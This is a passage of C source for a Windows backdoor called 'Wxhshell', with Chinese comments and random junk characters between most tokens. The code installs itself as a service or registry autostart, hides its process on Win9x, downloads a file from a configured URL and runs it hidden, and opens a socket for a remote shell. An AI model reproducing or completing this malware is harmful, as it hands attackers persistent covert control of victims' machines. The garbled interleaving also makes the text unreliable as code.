hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %/'[GC'y! faJ5f. CloseHandle(hProcess); ~=#jO0dE| 0A}'.LI hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -'YX2!IU, if(hProcess==NULL) return 0; crvWAsm s
fti[ HMODULE hMod; hefV0)4K char procName[255]; _X@:-_ unsigned long cbNeeded; MjG.Ili$m ',O@0L]L if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f \4Qp wmoOp;C CloseHandle(hProcess); \HH|{ ]Q,RVEtKp if(strstr(procName,"services")) return 1; // 以服务启动 h`n>6I i%\nJs* return 0; // 注册表启动 b?bIxCA8 } 6+LXoR' V7^?jy&& // 主模块 0@xuxm/i int StartWxhshell(LPSTR lpCmdLine) g%\e80~1 ( { pp{%\td SOCKET wsl; I5 2wTl0
BOOL val=TRUE; 4P`\fz int port=0; sRoZvp5 struct sockaddr_in door; t+h"YiT J(l6(+8 if(wscfg.ws_autoins) Install(); @MN>ye'T 06=eA0JI port=atoi(lpCmdLine); c85B-/ W]y$6P if(port<=0) port=wscfg.ws_port; otPEJ^W& `|PxEif+J WSADATA data; FyY;F;4P if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |d:URuG~:I +rql7D0st if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; B:^U~s R setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q].C>R*ux8 door.sin_family = AF_INET; P-vA.7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1L$u8P^< door.sin_port = htons(port); }f({03$ tG#F7%+E if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Kfj*#)SZ closesocket(wsl); 525xm"Bs return 1; fnXl60C% } uM4,_)L ow`\7qr if(listen(wsl,2) == INVALID_SOCKET) { _l/6Qpf closesocket(wsl); C{>?~@z&5 return 1; TbXZU$[c } zZE?G:isR Wxhshell(wsl); x3WY26e WSACleanup(); huR<+ =! B1p9pr return 0; tL
IE^ ' u0{h } HX
<;=m +SP5+"y@ // 以NT服务方式启动 mybDK'EW VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9ge$)q@3 { zR5D)`Ph DWORD status = 0; $/d~bk@=l DWORD specificError = 0xfffffff; w]%r]PwU+ _
!Ph1 serviceStatus.dwServiceType = SERVICE_WIN32; ]_-$ serviceStatus.dwCurrentState = SERVICE_START_PENDING; &V2G<gm0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z1OcGRN! serviceStatus.dwWin32ExitCode = 0; gr-%9=Uq serviceStatus.dwServiceSpecificExitCode = 0; |]B]0J#_ serviceStatus.dwCheckPoint = 0; $~9U-B\ serviceStatus.dwWaitHint = 0; (
NiuAy oYqC"g&4Z hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "\V:W%23W{ if (hServiceStatusHandle==0) return; `[ne<F?e [S9n F status = GetLastError(); $23R%8j if (status!=NO_ERROR) Y<M}'t { %EVg.k$ serviceStatus.dwCurrentState = SERVICE_STOPPED; OZv&{_b_ serviceStatus.dwCheckPoint = 0; /Pf7= P serviceStatus.dwWaitHint = 0; :!#-k serviceStatus.dwWin32ExitCode = status; ,f1+jC serviceStatus.dwServiceSpecificExitCode = specificError; dk3\~m%Pv SetServiceStatus(hServiceStatusHandle, &serviceStatus); dkVVvK return; L~;_R*Th } v'iQLUgI T&0tW"r? serviceStatus.dwCurrentState = SERVICE_RUNNING; eq/s8]uM serviceStatus.dwCheckPoint = 0; nDPfr\\ serviceStatus.dwWaitHint = 0; fmSA.z if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \tQi7yj4 } Ep'C FNbtW x t-;7 // 处理NT服务事件,比如:启动、停止 B$lbp03z VOID WINAPI NTServiceHandler(DWORD fdwControl) u(lq9; ;Th { ()SG switch(fdwControl) v=L^jw { 7*4F-5G/ case SERVICE_CONTROL_STOP: .II'W3Fr serviceStatus.dwWin32ExitCode = 0; 4frZ
.r;V serviceStatus.dwCurrentState = SERVICE_STOPPED; >&$V"*] serviceStatus.dwCheckPoint = 0; !-7(.i - serviceStatus.dwWaitHint = 0; [Q%3=pm_ { {<|0M%v SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?pVODnP k } >
h:~*g return; MZ+"Arzb case SERVICE_CONTROL_PAUSE: T$q]iSgu serviceStatus.dwCurrentState = SERVICE_PAUSED; $4eogI7N>w break; f< '~K case SERVICE_CONTROL_CONTINUE: :{Y,Nsa serviceStatus.dwCurrentState = SERVICE_RUNNING; KT|$vw2b break; cq!>B{ case SERVICE_CONTROL_INTERROGATE: D #A9 break; T8RQM1D_s }; 9^}GUJy? SetServiceStatus(hServiceStatusHandle, &serviceStatus); GEvif4 } +^"|FtKhE VWNmqeP // 标准应用程序主函数 E@N_~1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V&f3>#n\ { sB"]R%`_ Y${ $7+@ // 获取操作系统版本 *F9uv)[kz OsIsNt=GetOsVer(); 1Ju{IEV GetModuleFileName(NULL,ExeFile,MAX_PATH); I)sCWC:Mq~ L'Wcb
=; // 从命令行安装 wv*r}{%7g[ if(strpbrk(lpCmdLine,"iI")) Install(); F4:ssy^ dFS+O;zE\ // 下载执行文件 Uh7kB`2 if(wscfg.ws_downexe) { !X,=RR`zT if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q=
tDMK'h WinExec(wscfg.ws_filenam,SW_HIDE); ?^6RFbke+ } 9EH%[wfv V 1Fdt+# if(!OsIsNt) { LOOv8'%O8 // 如果时win9x,隐藏进程并且设置为注册表启动 )>?K:y8I~ HideProc(); <2R=!n@b\ StartWxhshell(lpCmdLine); 5&VLq } aFbA=6 else GCIm_
n if(StartFromService()) fa6L+wt4O // 以服务方式启动 _H;ObTiB StartServiceCtrlDispatcher(DispatchTable); &K\di*kN else 9x:c"S* // 普通方式启动 $w65/ StartWxhshell(lpCmdLine); :|d3BuY b _6j77 return 0; %f^TZ,q$ }
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